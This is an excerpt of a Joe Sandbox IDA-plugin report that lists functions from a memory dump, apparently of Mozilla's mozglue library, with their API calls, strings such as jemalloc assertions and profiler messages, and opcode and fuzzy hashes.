memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4
<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvd3d9wrap.dll, xrefs: 6C994466
nvinit.dll, xrefs: 6C994479

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10
MOZ_CRASH(), xrefs: 6C970CA7

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9A5AC3
name, xrefs: 6C9A5E79, 6C9A5E8F
expected a Time entry, xrefs: 6C9A5CB6
data, xrefs: 6C9A6131
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
schema, xrefs: 6C9A606D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

get , xrefs: 6C9A3205
set , xrefs: 6C9A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C997ECF, 6C998335
data, xrefs: 6C998280, 6C9983E1
(pre-xul), xrefs: 6C997E88
schema, xrefs: 6C9981E3, 6C998311

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C97D82C
<jemalloc>, xrefs: 6C97D827

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD
MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C953508
kernel32.dll, xrefs: 6C9534EA

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
